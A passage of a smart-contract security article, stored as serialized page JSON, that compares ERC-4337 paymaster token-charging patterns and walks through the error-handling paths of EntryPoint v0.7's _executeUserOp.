paymaster implementations:",{"type":22,"tag":181,"props":105862,"children":105864},{"id":105863},"_1-pre-payment-with-refund-pattern",[105865],{"type":27,"value":105866},"1. Pre-Payment with Refund Pattern",{"type":22,"tag":23,"props":105868,"children":105869},{},[105870,105872,105877,105879,105884,105886,105892,105893,105899,105901,105906,105908,105913,105915,105920],{"type":27,"value":105871},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":22,"tag":257,"props":105873,"children":105875},{"className":105874},[],[105876],{"type":27,"value":103691},{"type":27,"value":105878},". After execution completes, ",{"type":22,"tag":257,"props":105880,"children":105882},{"className":105881},[],[105883],{"type":27,"value":103702},{"type":27,"value":105885}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":22,"tag":257,"props":105887,"children":105889},{"className":105888},[],[105890],{"type":27,"value":105891},"SEND",{"type":27,"value":12290},{"type":22,"tag":257,"props":105894,"children":105896},{"className":105895},[],[105897],{"type":27,"value":105898},"Circle",{"type":27,"value":105900}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":22,"tag":257,"props":105902,"children":105904},{"className":105903},[],[105905],{"type":27,"value":103532},{"type":27,"value":105907},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":22,"tag":242,"props":105909,"children":105910},{},[105911],{"type":27,"value":105912},"before",{"type":27,"value":105914}," execution (specifically during ",{"type":22,"tag":257,"props":105916,"children":105918},{"className":105917},[],[105919],{"type":27,"value":105745},{"type":27,"value":22049},{"type":22,"tag":181,"props":105922,"children":105924},{"id":105923},"_2-post-execution-charging-pattern",[105925],{"type":27,"value":105926},"2. Post-Execution Charging Pattern",{"type":22,"tag":23,"props":105928,"children":105929},{},[105930,105932,105937,105939,105944,105946,105951,105953,105958],{"type":27,"value":105931},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":22,"tag":257,"props":105933,"children":105935},{"className":105934},[],[105936],{"type":27,"value":103691},{"type":27,"value":105938},", the actual token payment is calculated and collected in ",{"type":22,"tag":257,"props":105940,"children":105942},{"className":105941},[],[105943],{"type":27,"value":103702},{"type":27,"value":105945}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":22,"tag":257,"props":105947,"children":105949},{"className":105948},[],[105950],{"type":27,"value":103503},{"type":27,"value":105952},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":22,"tag":257,"props":105954,"children":105956},{"className":105955},[],[105957],{"type":27,"value":103804},{"type":27,"value":105959},". This means users could interact with the paymaster without any prior setup.",{"type":22,"tag":23,"props":105961,"children":105962},{},[105963,105965,105970,105972,105978,105980,105986,105988,105993],{"type":27,"value":105964},"This approach used to work in ",{"type":22,"tag":257,"props":105966,"children":105968},{"className":105967},[],[105969],{"type":27,"value":103584},{"type":27,"value":105971}," version ",{"type":22,"tag":257,"props":105973,"children":105975},{"className":105974},[],[105976],{"type":27,"value":105977},"v0.6",{"type":27,"value":105979},", but the pattern no longer works in ",{"type":22,"tag":257,"props":105981,"children":105983},{"className":105982},[],[105984],{"type":27,"value":105985},"v0.7",{"type":27,"value":105987},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":22,"tag":257,"props":105989,"children":105991},{"className":105990},[],[105992],{"type":27,"value":105985},{"type":27,"value":105994}," handles the execution phase:",{"type":22,"tag":618,"props":105996,"children":105998},{"className":5768,"code":105997,"language":5767,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[105999],{"type":22,"tag":257,"props":106000,"children":106001},{"__ignoreMap":7},[106002,106018,106034,106054,106071,106078,106091,106115,106123,106136,106143,106150,106171,106210,106247,106259,106266,106302,106309,106330,106419,106448,106455,106468,106475,106495,106502,106523,106531,106539,106566,106594,106602,106645,106665,106678,106700,106716,106731,106738,106758,106766,106774,106782,106790,106798,106805,106812],{"type":22,"tag":264,"props":106003,"children":106004},{"class":1534,"line":1535},[106005,106009,106014],{"type":22,"tag":264,"props":106006,"children":106007},{"style":4293},[106008],{"type":27,"value":91154},{"type":22,"tag":264,"props":106010,"children":106011},{"style":4401},[106012],{"type":27,"value":106013}," _executeUserOp",{"type":22,"tag":264,"props":106015,"children":106016},{"style":1539},[106017],{"type":27,"value":4767},{"type":22,"tag":264,"props":106019,"children":106020},{"class":1534,"line":1545},[106021,106025,106030],{"type":22,"tag":264,"props":106022,"children":106023},{"style":4722},[106024],{"type":27,"value":91332},{"type":22,"tag":264,"props":106026,"children":106027},{"style":1549},[106028],{"type":27,"value":106029}," opIndex",{"type":22,"tag":264,"props":106031,"children":106032},{"style":1539},[106033],{"type":27,"value":4812},{"type":22,"tag":264,"props":106035,"children":106036},{"class":1534,"line":1560},[106037,106042,106046,106050],{"type":22,"tag":264,"props":106038,"children":106039},{"style":4293},[106040],{"type":27,"value":106041},"        PackedUserOperation",{"type":22,"tag":264,"props":106043,"children":106044},{"style":4293},[106045],{"type":27,"value":104333},{"type":22,"tag":264,"props":106047,"children":106048},{"style":1549},[106049],{"type":27,"value":104338},{"type":22,"tag":264,"props":106051,"children":106052},{"style":1539},[106053],{"type":27,"value":4812},{"type":22,"tag":264,"props":106055,"children":106056},{"class":1534,"line":1569},[106057,106062,106066],{"type":22,"tag":264,"props":106058,"children":106059},{"style":4293},[106060],{"type":27,"value":106061},"        UserOpInfo",{"type":22,"tag":264,"props":106063,"children":106064},{"style":4293},[106065],{"type":27,"value":104401},{"type":22,"tag":264,"props":106067,"children":106068},{"style":1549},[106069],{"type":27,"value":106070}," opInfo\n",{"type":22,"tag":264,"props":106072,"children":106073},{"class":1534,"line":1583},[106074],{"type":22,"tag":264,"props":106075,"children":106076},{"style":1539},[106077],{"type":27,"value":25231},{"type":22,"tag":264,"props":106079,"children":106080},{"class":1534,"line":1603},[106081,106086],{"type":22,"tag":264,"props":106082,"children":106083},{"style":4293},[106084],{"type":27,"value":106085},"    internal",{"type":22,"tag":264,"props":106087,"children":106088},{"style":4293},[106089],{"type":27,"value":106090}," virtual\n",{"type":22,"tag":264,"props":106092,"children":106093},{"class":1534,"line":1612},[106094,106098,106102,106106,106111],{"type":22,"tag":264,"props":106095,"children":106096},{"style":4328},[106097],{"type":27,"value":47829},{"type":22,"tag":264,"props":106099,"children":106100},{"style":1539},[106101],{"type":27,"value":4370},{"type":22,"tag":264,"props":106103,"children":106104},{"style":4722},[106105],{"type":27,"value":47488},{"type":22,"tag":264,"props":106107,"children":106108},{"style":1549},[106109],{"type":27,"value":106110}," collected",{"type":22,"tag":264,"props":106112,"children":106113},{"style":1539},[106114],{"type":27,"value":16103},{"type":22,"tag":264,"props":106116,"children":106117},{"class":1534,"line":1621},[106118],{"type":22,"tag":264,"props":106119,"children":106120},{"style":1539},[106121],{"type":27,"value":106122},"    [...]\n",{"type":22,"tag":264,"props":106124,"children":106125},{"class":1534,"line":1629},[106126,106131],{"type":22,"tag":264,"props":106127,"children":106128},{"style":4722},[106129],{"type":27,"value":106130},"        bool",{"type":22,"tag":264,"props":106132,"children":106133},{"style":1539},[106134],{"type":27,"value":106135}," success;\n",{"type":22,"tag":264,"props":106137,"children":106138},{"class":1534,"line":1642},[106139],{"type":22,"tag":264,"props":106140,"children":106141},{"style":1539},[106142],{"type":27,"value":32974},{"type":22,"tag":264,"props":106144,"children":106145},{"class":1534,"line":1660},[106146],{"type":22,"tag":264,"props":106147,"children":106148},{"style":1539},[106149],{"type":27,"value":106122},{"type":22,"tag":264,"props":106151,"children":106152},{"class":1534,"line":1668},[106153,106157,106162,106166],{"type":22,"tag":264,"props":106154,"children":106155},{"style":4328},[106156],{"type":27,"value":60122},{"type":22,"tag":264,"props":106158,"children":106159},{"style":1539},[106160],{"type":27,"value":106161}," (methodSig ",{"type":22,"tag":264,"props":106163,"children":106164},{"style":4309},[106165],{"type":27,"value":9870},{"type":22,"tag":264,"props":106167,"children":106168},{"style":1539},[106169],{"type":27,"value":106170}," IAccountExecute.executeUserOp.selector) {\n",{"type":22,"tag":264,"props":106172,"children":106173},{"class":1534,"line":1677},[106174,106179,106183,106188,106192,106196,106200,106205],{"type":22,"tag":264,"props":106175,"children":106176},{"style":4722},[106177],{"type":27,"value":106178},"                bytes",{"type":22,"tag":264,"props":106180,"children":106181},{"style":4293},[106182],{"type":27,"value":104401},{"type":22,"tag":264,"props":106184,"children":106185},{"style":1539},[106186],{"type":27,"value":106187}," executeUserOp ",{"type":22,"tag":264,"props":106189,"children":106190},{"style":4309},[106191],{"type":27,"value":429},{"type":22,"tag":264,"props":106193,"children":106194},{"style":4293},[106195],{"type":27,"value":104998},{"type":22,"tag":264,"props":106197,"children":106198},{"style":1539},[106199],{"type":27,"value":210},{"type":22,"tag":264,"props":106201,"children":106202},{"style":4401},[106203],{"type":27,"value":106204},"encodeCall",{"type":22,"tag":264,"props":106206,"children":106207},{"style":1539},[106208],{"type":27,"value":106209},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":22,"tag":264,"props":106211,"children":106212},{"class":1534,"line":1686},[106213,106218,106222,106226,106230,106234,106238,106242],{"type":22,"tag":264,"props":106214,"children":106215},{"style":1539},[106216],{"type":27,"value":106217},"                innerCall ",{"type":22,"tag":264,"props":106219,"children":106220},{"style":4309},[106221],{"type":27,"value":429},{"type":22,"tag":264,"props":106223,"children":106224},{"style":4293},[106225],{"type":27,"value":104998},{"type":22,"tag":264,"props":106227,"children":106228},{"style":1539},[106229],{"type":27,"value":210},{"type":22,"tag":264,"props":106231,"children":106232},{"style":4401},[106233],{"type":27,"value":106204},{"type":22,"tag":264,"props":106235,"children":106236},{"style":1539},[106237],{"type":27,"value":2660},{"type":22,"tag":264,"props":106239,"children":106240},{"style":4293},[106241],{"type":27,"value":18996},{"type":22,"tag":264,"props":106243,"children":106244},{"style":1539},[106245],{"type":27,"value":106246},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":22,"tag":264,"props":106248,"children":106249},{"class":1534,"line":4948},[106250,106254],{"type":22,"tag":264,"props":106251,"children":106252},{"style":1539},[106253],{"type":27,"value":71918},{"type":22,"tag":264,"props":106255,"children":106256},{"style":4328},[106257],{"type":27,"value":106258},"else\n",{"type":22,"tag":264,"props":106260,"children":106261},{"class":1534,"line":4957},[106262],{"type":22,"tag":264,"props":106263,"children":106264},{"style":1539},[106265],{"type":27,"value":33010},{"type":22,"tag":264,"props":106267,"children":106268},{"class":1534,"line":4980},[106269,106273,106277,106281,106285,106289,106293,106297],{"type":22,"tag":264,"props":106270,"children":106271},{"style":1539},[106272],{"type":27,"value":106217},{"type":22,"tag":264,"props":106274,"children":106275},{"style":4309},[106276],{"type":27,"value":429},{"type":22,"tag":264,"props":106278,"children":106279},{"style":4293},[106280],{"type":27,"value":104998},{"type":22,"tag":264,"props":106282,"children":106283},{"style":1539},[106284],{"type":27,"value":210},{"type":22,"tag":264,"props":106286,"children":106287},{"style":4401},[106288],{"type":27,"value":106204},{"type":22,"tag":264,"props":106290,"children":106291},{"style":1539},[106292],{"type":27,"value":2660},{"type":22,"tag":264,"props":106294,"children":106295},{"style":4293},[106296],{"type":27,"value":18996},{"type":22,"tag":264,"props":106298,"children":106299},{"style":1539},[106300],{"type":27,"value":106301},".innerHandleOp, (callData, opInfo, context));\n",{"type":22,"tag":264,"props":106303,"children":106304},{"class":1534,"line":4989},[106305],{"type":22,"tag":264,"props":106306,"children":106307},{"style":1539},[106308],{"type":27,"value":60206},{"type":22,"tag":264,"props":106310,"children":106311},{"class":1534,"line":4998},[106312,106317,106321,106326],{"type":22,"tag":264,"props":106313,"children":106314},{"style":4401},[106315],{"type":27,"value":106316},"            assembly",{"type":22,"tag":264,"props":106318,"children":106319},{"style":1539},[106320],{"type":27,"value":4370},{"type":22,"tag":264,"props":106322,"children":106323},{"style":1597},[106324],{"type":27,"value":106325},"\"memory-safe\"",{"type":22,"tag":264,"props":106327,"children":106328},{"style":1539},[106329],{"type":27,"value":16103},{"type":22,"tag":264,"props":106331,"children":106332},{"class":1534,"line":5067},[106333,106338,106342,106346,106350,106355,106359,106363,106367,106371,106375,106379,106384,106389,106393,106398,106403,106407,106411,106415],{"type":22,"tag":264,"props":106334,"children":106335},{"style":1539},[106336],{"type":27,"value":106337},"                success ",{"type":22,"tag":264,"props":106339,"children":106340},{"style":4309},[106341],{"type":27,"value":22912},{"type":22,"tag":264,"props":106343,"children":106344},{"style":4401},[106345],{"type":27,"value":42278},{"type":22,"tag":264,"props":106347,"children":106348},{"style":1539},[106349],{"type":27,"value":2660},{"type":22,"tag":264,"props":106351,"children":106352},{"style":4401},[106353],{"type":27,"value":106354},"gas",{"type":22,"tag":264,"props":106356,"children":106357},{"style":1539},[106358],{"type":27,"value":19678},{"type":22,"tag":264,"props":106360,"children":106361},{"style":4722},[106362],{"type":27,"value":33956},{"type":22,"tag":264,"props":106364,"children":106365},{"style":1539},[106366],{"type":27,"value":19678},{"type":22,"tag":264,"props":106368,"children":106369},{"style":4344},[106370],{"type":27,"value":5334},{"type":22,"tag":264,"props":106372,"children":106373},{"style":1539},[106374],{"type":27,"value":4380},{"type":22,"tag":264,"props":106376,"children":106377},{"style":4401},[106378],{"type":27,"value":10936},{"type":22,"tag":264,"props":106380,"children":106381},{"style":1539},[106382],{"type":27,"value":106383},"(innerCall, ",{"type":22,"tag":264,"props":106385,"children":106386},{"style":4344},[106387],{"type":27,"value":106388},"0x20",{"type":22,"tag":264,"props":106390,"children":106391},{"style":1539},[106392],{"type":27,"value":16477},{"type":22,"tag":264,"props":106394,"children":106395},{"style":4401},[106396],{"type":27,"value":106397},"mload",{"type":22,"tag":264,"props":106399,"children":106400},{"style":1539},[106401],{"type":27,"value":106402},"(innerCall), ",{"type":22,"tag":264,"props":106404,"children":106405},{"style":4344},[106406],{"type":27,"value":5334},{"type":22,"tag":264,"props":106408,"children":106409},{"style":1539},[106410],{"type":27,"value":4380},{"type":22,"tag":264,"props":106412,"children":106413},{"style":4344},[106414],{"type":27,"value":61668},{"type":22,"tag":264,"props":106416,"children":106417},{"style":1539},[106418],{"type":27,"value":4463},{"type":22,"tag":264,"props":106420,"children":106421},{"class":1534,"line":5075},[106422,106427,106431,106436,106440,106444],{"type":22,"tag":264,"props":106423,"children":106424},{"style":1539},[106425],{"type":27,"value":106426},"                collected ",{"type":22,"tag":264,"props":106428,"children":106429},{"style":4309},[106430],{"type":27,"value":22912},{"type":22,"tag":264,"props":106432,"children":106433},{"style":4401},[106434],{"type":27,"value":106435}," mload",{"type":22,"tag":264,"props":106437,"children":106438},{"style":1539},[106439],{"type":27,"value":2660},{"type":22,"tag":264,"props":106441,"children":106442},{"style":4344},[106443],{"type":27,"value":5334},{"type":22,"tag":264,"props":106445,"children":106446},{"style":1539},[106447],{"type":27,"value":4463},{"type":22,"tag":264,"props":106449,"children":106450},{"class":1534,"line":5105},[106451],{"type":22,"tag":264,"props":106452,"children":106453},{"style":1539},[106454],{"type":27,"value":60206},{"type":22,"tag":264,"props":106456,"children":106457},{"class":1534,"line":5113},[106458,106463],{"type":22,"tag":264,"props":106459,"children":106460},{"style":4401},[106461],{"type":27,"value":106462},"            _restoreFreePtr",{"type":22,"tag":264,"props":106464,"children":106465},{"style":1539},[106466],{"type":27,"value":106467},"(saveFreePtr);\n",{"type":22,"tag":264,"props":106469,"children":106470},{"class":1534,"line":5145},[106471],{"type":22,"tag":264,"props":106472,"children":106473},{"style":1539},[106474],{"type":27,"value":4651},{"type":22,"tag":264,"props":106476,"children":106477},{"class":1534,"line":5153},[106478,106482,106486,106490],{"type":22,"tag":264,"props":106479,"children":106480},{"style":4328},[106481],{"type":27,"value":4575},{"type":22,"tag":264,"props":106483,"children":106484},{"style":1539},[106485],{"type":27,"value":4370},{"type":22,"tag":264,"props":106487,"children":106488},{"style":4309},[106489],{"type":27,"value":21928},{"type":22,"tag":264,"props":106491,"children":106492},{"style":1539},[106493],{"type":27,"value":106494},"success) {\n",{"type":22,"tag":264,"props":106496,"children":106497},{"class":1534,"line":5213},[106498],{"type":22,"tag":264,"props":106499,"children":106500},{"style":1539},[106501],{"type":27,"value":106122},{"type":22,"tag":264,"props":106503,"children":106504},{"class":1534,"line":10343},[106505,106509,106514,106518],{"type":22,"tag":264,"props":106506,"children":106507},{"style":4328},[106508],{"type":27,"value":60122},{"type":22,"tag":264,"props":106510,"children":106511},{"style":1539},[106512],{"type":27,"value":106513}," (innerRevertCode ",{"type":22,"tag":264,"props":106515,"children":106516},{"style":4309},[106517],{"type":27,"value":9870},{"type":22,"tag":264,"props":106519,"children":106520},{"style":1539},[106521],{"type":27,"value":106522}," INNER_OUT_OF_GAS) {\n",{"type":22,"tag":264,"props":106524,"children":106525},{"class":1534,"line":10361},[106526],{"type":22,"tag":264,"props":106527,"children":106528},{"style":4284},[106529],{"type":27,"value":106530},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":22,"tag":264,"props":106532,"children":106533},{"class":1534,"line":10406},[106534],{"type":22,"tag":264,"props":106535,"children":106536},{"style":4284},[106537],{"type":27,"value":106538},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":22,"tag":264,"props":106540,"children":106541},{"class":1534,"line":10512},[106542,106547,106552,106557,106562],{"type":22,"tag":264,"props":106543,"children":106544},{"style":4328},[106545],{"type":27,"value":106546},"                revert",{"type":22,"tag":264,"props":106548,"children":106549},{"style":4401},[106550],{"type":27,"value":106551}," FailedOp",{"type":22,"tag":264,"props":106553,"children":106554},{"style":1539},[106555],{"type":27,"value":106556},"(opIndex, ",{"type":22,"tag":264,"props":106558,"children":106559},{"style":1597},[106560],{"type":27,"value":106561},"\"AA95 out of gas\"",{"type":22,"tag":264,"props":106563,"children":106564},{"style":1539},[106565],{"type":27,"value":5142},{"type":22,"tag":264,"props":106567,"children":106568},{"class":1534,"line":24810},[106569,106573,106577,106581,106585,106589],{"type":22,"tag":264,"props":106570,"children":106571},{"style":1539},[106572],{"type":27,"value":71918},{"type":22,"tag":264,"props":106574,"children":106575},{"style":4328},[106576],{"type":27,"value":4619},{"type":22,"tag":264,"props":106578,"children":106579},{"style":4328},[106580],{"type":27,"value":17088},{"type":22,"tag":264,"props":106582,"children":106583},{"style":1539},[106584],{"type":27,"value":106513},{"type":22,"tag":264,"props":106586,"children":106587},{"style":4309},[106588],{"type":27,"value":9870},{"type":22,"tag":264,"props":106590,"children":106591},{"style":1539},[106592],{"type":27,"value":106593}," INNER_REVERT_LOW_PREFUND) {\n",{"type":22,"tag":264,"props":106595,"children":106596},{"class":1534,"line":24845},[106597],{"type":22,"tag":264,"props":106598,"children":106599},{"style":4284},[106600],{"type":27,"value":106601},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":22,"tag":264,"props":106603,"children":106604},{"class":1534,"line":24853},[106605,106609,106614,106618,106623,106627,106632,106636,106640],{"type":22,"tag":264,"props":106606,"children":106607},{"style":4722},[106608],{"type":27,"value":104781},{"type":22,"tag":264,"props":106610,"children":106611},{"style":1539},[106612],{"type":27,"value":106613}," actualGas ",{"type":22,"tag":264,"props":106615,"children":106616},{"style":4309},[106617],{"type":27,"value":429},{"type":22,"tag":264,"props":106619,"children":106620},{"style":1539},[106621],{"type":27,"value":106622}," preGas ",{"type":22,"tag":264,"props":106624,"children":106625},{"style":4309},[106626],{"type":27,"value":5621},{"type":22,"tag":264,"props":106628,"children":106629},{"style":4293},[106630],{"type":27,"value":106631}," gasleft",{"type":22,"tag":264,"props":106633,"children":106634},{"style":1539},[106635],{"type":27,"value":15342},{"type":22,"tag":264,"props":106637,"children":106638},{"style":4309},[106639],{"type":27,"value":673},{"type":22,"tag":264,"props":106641,"children":106642},{"style":1539},[106643],{"type":27,"value":106644}," opInfo.preOpGas;\n",{"type":22,"tag":264,"props":106646,"children":106647},{"class":1534,"line":24861},[106648,106652,106656,106660],{"type":22,"tag":264,"props":106649,"children":106650},{"style":4722},[106651],{"type":27,"value":104781},{"type":22,"tag":264,"props":106653,"children":106654},{"style":1539},[106655],{"type":27,"value":105428},{"type":22,"tag":264,"props":106657,"children":106658},{"style":4309},[106659],{"type":27,"value":429},{"type":22,"tag":264,"props":106661,"children":106662},{"style":1539},[106663],{"type":27,"value":106664}," opInfo.prefund;\n",{"type":22,"tag":264,"props":106666,"children":106667},{"class":1534,"line":24870},[106668,106673],{"type":22,"tag":264,"props":106669,"children":106670},{"style":4401},[106671],{"type":27,"value":106672},"                _emitPrefundTooLow",{"type":22,"tag":264,"props":106674,"children":106675},{"style":1539},[106676],{"type":27,"value":106677},"(opInfo);\n",{"type":22,"tag":264,"props":106679,"children":106680},{"class":1534,"line":24912},[106681,106686,106691,106695],{"type":22,"tag":264,"props":106682,"children":106683},{"style":4401},[106684],{"type":27,"value":106685},"                _emitUserOperationEvent",{"type":22,"tag":264,"props":106687,"children":106688},{"style":1539},[106689],{"type":27,"value":106690},"(opInfo, ",{"type":22,"tag":264,"props":106692,"children":106693},{"style":4293},[106694],{"type":27,"value":9469},{"type":22,"tag":264,"props":106696,"children":106697},{"style":1539},[106698],{"type":27,"value":106699},", actualGasCost, actualGas);\n",{"type":22,"tag":264,"props":106701,"children":106702},{"class":1534,"line":24945},[106703,106707,106711],{"type":22,"tag":264,"props":106704,"children":106705},{"style":1539},[106706],{"type":27,"value":106426},{"type":22,"tag":264,"props":106708,"children":106709},{"style":4309},[106710],{"type":27,"value":429},{"type":22,"tag":264,"props":106712,"children":106713},{"style":1539},[106714],{"type":27,"value":106715}," actualGasCost;\n",{"type":22,"tag":264,"props":106717,"children":106718},{"class":1534,"line":24953},[106719,106723,106727],{"type":22,"tag":264,"props":106720,"children":106721},{"style":1539},[106722],{"type":27,"value":71918},{"type":22,"tag":264,"props":106724,"children":106725},{"style":4328},[106726],{"type":27,"value":4619},{"type":22,"tag":264,"props":106728,"children":106729},{"style":1539},[106730],{"type":27,"value":4594},{"type":22,"tag":264,"props":106732,"children":106733},{"class":1534,"line":24961},[106734],{"type":22,"tag":264,"props":106735,"children":106736},{"style":1539},[106737],{"type":27,"value":106122},{"type":22,"tag":264,"props":106739,"children":106740},{"class":1534,"line":24970},[106741,106745,106749,106754],{"type":22,"tag":264,"props":106742,"children":106743},{"style":1539},[106744],{"type":27,"value":106426},{"type":22,"tag":264,"props":106746,"children":106747},{"style":4309},[106748],{"type":27,"value":429},{"type":22,"tag":264,"props":106750,"children":106751},{"style":4401},[106752],{"type":27,"value":106753}," _postExecution",{"type":22,"tag":264,"props":106755,"children":106756},{"style":1539},[106757],{"type":27,"value":4767},{"type":22,"tag":264,"props":106759,"children":106760},{"class":1534,"line":25046},[106761],{"type":22,"tag":264,"props":106762,"children":106763},{"style":1539},[106764],{"type":27,"value":106765},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":22,"tag":264,"props":106767,"children":106768},{"class":1534,"line":25079},[106769],{"type":22,"tag":264,"props":106770,"children":106771},{"style":1539},[106772],{"type":27,"value":106773},"                    opInfo,\n",{"type":22,"tag":264,"props":106775,"children":106776},{"class":1534,"line":25087},[106777],{"type":22,"tag":264,"props":106778,"children":106779},{"style":1539},[106780],{"type":27,"value":106781},"                    context,\n",{"type":22,"tag":264,"props":106783,"children":106784},{"class":1534,"line":25095},[106785],{"type":22,"tag":264,"props":106786,"children":106787},{"style":1539},[106788],{"type":27,"value":106789},"                    actualGas\n",{"type":22,"tag":264,"props":106791,"children":106792},{"class":1534,"line":25132},[106793],{"type":22,"tag":264,"props":106794,"children":106795},{"style":1539},[106796],{"type":27,"value":106797},"                );\n",{"type":22,"tag":264,"props":106799,"children":106800},{"class":1534,"line":25145},[106801],{"type":22,"tag":264,"props":106802,"children":106803},{"style":1539},[106804],{"type":27,"value":60206},{"type":22,"tag":264,"props":106806,"children":106807},{"class":1534,"line":25158},[106808],{"type":22,"tag":264,"props":106809,"children":106810},{"style":1539},[106811],{"type":27,"value":4651},{"type":22,"tag":264,"props":106813,"children":106814},{"class":1534,"line":25171},[106815],{"type":22,"tag":264,"props":106816,"children":106817},{"style":1539},[106818],{"type":27,"value":1674},{"type":22,"tag":23,"props":106820,"children":106821},{},[106822,106824,106829,106831,106837,106839,106845,106847,106853],{"type":27,"value":106823},"During execution, the ",{"type":22,"tag":257,"props":106825,"children":106827},{"className":106826},[],[106828],{"type":27,"value":103584},{"type":27,"value":106830}," contract makes a ",{"type":22,"tag":69,"props":106832,"children":106835},{"href":106833,"rel":106834},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[73],[106836],{"type":27,"value":39610},{"type":27,"value":106838}," to its own ",{"type":22,"tag":257,"props":106840,"children":106842},{"className":106841},[],[106843],{"type":27,"value":106844},"innerHandleOp",{"type":27,"value":106846}," function through a low-level ",{"type":22,"tag":257,"props":106848,"children":106850},{"className":106849},[],[106851],{"type":27,"value":106852},"call()",{"type":27,"value":106854},". This is done to create a new call context for executing the user operation.",{"type":22,"tag":23,"props":106856,"children":106857},{},[106858,106860,106866,106867,106872,106874,106881,106883,106889],{"type":27,"value":106859},"If this call fails (when ",{"type":22,"tag":257,"props":106861,"children":106863},{"className":106862},[],[106864],{"type":27,"value":106865},"success",{"type":27,"value":6791},{"type":22,"tag":257,"props":106868,"children":106870},{"className":106869},[],[106871],{"type":27,"value":9469},{"type":27,"value":106873},"), the code enters an ",{"type":22,"tag":69,"props":106875,"children":106878},{"href":106876,"rel":106877},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[73],[106879],{"type":27,"value":106880},"error handling",{"type":27,"value":106882}," flow that checks the ",{"type":22,"tag":257,"props":106884,"children":106886},{"className":106885},[],[106887],{"type":27,"value":106888},"innerRevertCode",{"type":27,"value":106890},". There are three possible paths:",{"type":22,"tag":1867,"props":106892,"children":106893},{},[106894,106918,106936],{"type":22,"tag":1871,"props":106895,"children":106896},{},[106897,106898,106903,106904,106910,106912,106917],{"type":27,"value":8773},{"type":22,"tag":257,"props":106899,"children":106901},{"className":106900},[],[106902],{"type":27,"value":106888},{"type":27,"value":6791},{"type":22,"tag":257,"props":106905,"children":106907},{"className":106906},[],[106908],{"type":27,"value":106909},"INNER_OUT_OF_GAS",{"type":27,"value":106911},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":22,"tag":257,"props":106913,"children":106915},{"className":106914},[],[106916],{"type":27,"value":106561},{"type":27,"value":210},{"type":22,"tag":1871,"props":106919,"children":106920},{},[106921,106922,106927,106928,106934],{"type":27,"value":8773},{"type":22,"tag":257,"props":106923,"children":106925},{"className":106924},[],[106926],{"type":27,"value":106888},{"type":27,"value":6791},{"type":22,"tag":257,"props":106929,"children":106931},{"className":106930},[],[106932],{"type":27,"value":106933},"INNER_REVERT_LOW_PREFUND",{"type":27,"value":106935},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":22,"tag":1871,"props":106937,"children":106938},{},[106939,106941,106947,106949,106955],{"type":27,"value":106940},"For any other revert reason, the code will still call ",{"type":22,"tag":257,"props":106942,"children":106944},{"className":106943},[],[106945],{"type":27,"value":106946},"_postExecution()",{"type":27,"value":106948}," but with ",{"type":22,"tag":257,"props":106950,"children":106952},{"className":106951},[],[106953],{"type":27,"value":106954},"PostOpMode.postOpReverted",{"type":27,"value":106956},". This ensures proper cleanup happens even on failure.",{"type":22,"tag":23,"props":106958,"children":106959},{},[106960,106962,106967,106969,106974,106976,106981,106983,106988],{"type":27,"value":106961},"We're particularly interested in the third error path, where ",{"type":22,"tag":257,"props":106963,"children":106965},{"className":106964},[],[106966],{"type":27,"value":106888},{"type":27,"value":106968}," is neither ",{"type":22,"tag":257,"props":106970,"children":106972},{"className":106971},[],[106973],{"type":27,"value":106909},{"type":27,"value":106975}," nor ",{"type":22,"tag":257,"props":106977,"children":106979},{"className":106978},[],[106980],{"type":27,"value":106933},{"type":27,"value":106982},". To understand this case better, let's examine how ",{"type":22,"tag":257,"props":106984,"children":106986},{"className":106985},[],[106987],{"type":27,"value":106844},{"type":27,"value":106989}," 